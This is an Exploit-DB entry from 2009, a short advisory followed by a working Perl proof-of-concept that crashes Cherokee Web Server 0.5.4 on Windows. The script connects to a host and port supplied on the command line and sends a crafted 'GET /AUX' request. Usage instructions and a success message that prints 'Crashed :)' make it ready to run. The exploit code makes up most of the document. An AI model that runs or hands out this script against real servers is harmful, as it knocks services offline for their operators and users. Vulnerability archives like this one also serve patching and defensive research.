Exploit-DB #9874
Description: Cherokee Web server 0.5.4 - Denial of Service
Type: dos
Platform: windows
Date: 2009-10-26
Author: Usman Saeed

Exploit:
###########################################################################################
#
# Name : Cherokee Web Server 0.5.4 Denial Of Service
# Author: Usman Saeed
# Company: Xc0re Security Research Group
# Website: http://www.xc0re.net
# DATE: 25/10/09
# Tested on Windows !
###########################################################################################

Disclaimer: [This code is for Educational Purposes , I would Not be
responsible for any misuse of this code]

[*] Download Page : http://www.cherokee-project.com/download/windows/


[*] Attack type : Remote


[*] Patch Status : Unpatched



[*] Description  : By sending a crafted GET request [GET /AUX HTTP/1.1] to
the server ,  the server crashes !



[*] Exploitation :


#!/usr/bin/perl
# Cherokee Web Server 0.5.4 Denial Of Service
# Disclaimer:
# [This code is for Educational Purposes , I would Not be responsible for
any misuse of this code]
# Author: Usman Saeed
# Company: Xc0re Security Research Group
# Website: http://www.xc0re.net
# DATE: [25/10/09]

$host = $ARGV[0];
$PORT = $ARGV[1];

$packet = "AUX";


$stuff = "GET /".$packet." HTTP/1.1\r\n" .
"User-Agent:Bitch/1.0 (Windows NT 5.1; U; en)\r\n" .
"Host:127.0.0.1\r\n".
"Accept: text/html, application/xml;q=0.9, application/xhtml+xml,
image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n".
"Accept-Language: en-US,en;q=0.9\r\n".
"Accept-Charset: iso-8859-1,*,utf-8\r\n".
"Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\n\r\n";




use IO::Socket::INET;
if (! defined $ARGV[0])
{
print "+========================================================+\n";
print "+ Program [Cherokee Web Server 0.5.4 Denial Of Service]  +\n";
print "+ Author [Usman Saeed]                                   +\n";
print "+ Company [Xc0re Security Research Group]                +\n";
print "+ DATE: [25/10/09]                                       +\n";
print "+ Usage :perl sploit.pl webserversip wbsvrport           +\n";
print "+ Disclaimer: [This code is for Educational Purposes ,   +\n";
print "+ I would Not be responsible for any misuse of this code]+\n";
print "+========================================================+\n";





exit;
}


$sock = IO::Socket::INET->new( Proto => "tcp",PeerAddr  => $host ,
PeerPort  => $PORT) || die "Cant connect to $host!";
print "+========================================================+\n";
print "+ Program [Cherokee Web Server 0.5.4 Denial Of Service]  +\n";
print "+ Author [Usman Saeed]                                   +\n";
print "+ Company [Xc0re Security Research Group]                +\n";
print "+ DATE: [25/10/09]                                       +\n";
print "+ Usage :perl sploit.pl webserversip wbsvrport           +\n";
print "+ Disclaimer: [This code is for Educational Purposes ,   +\n";
print "+ I would Not be responsible for any misuse of this code]+\n";
print "+========================================================+\n";




print "\n";

print "[*] Initializing\n";

sleep(2);

print "[*] Sendin DOS Packet \n";

send ($sock , $stuff , 0);
print "[*] Crashed :) \n";
$res = recv($sock,$response,1024,0);
print $response;



exit;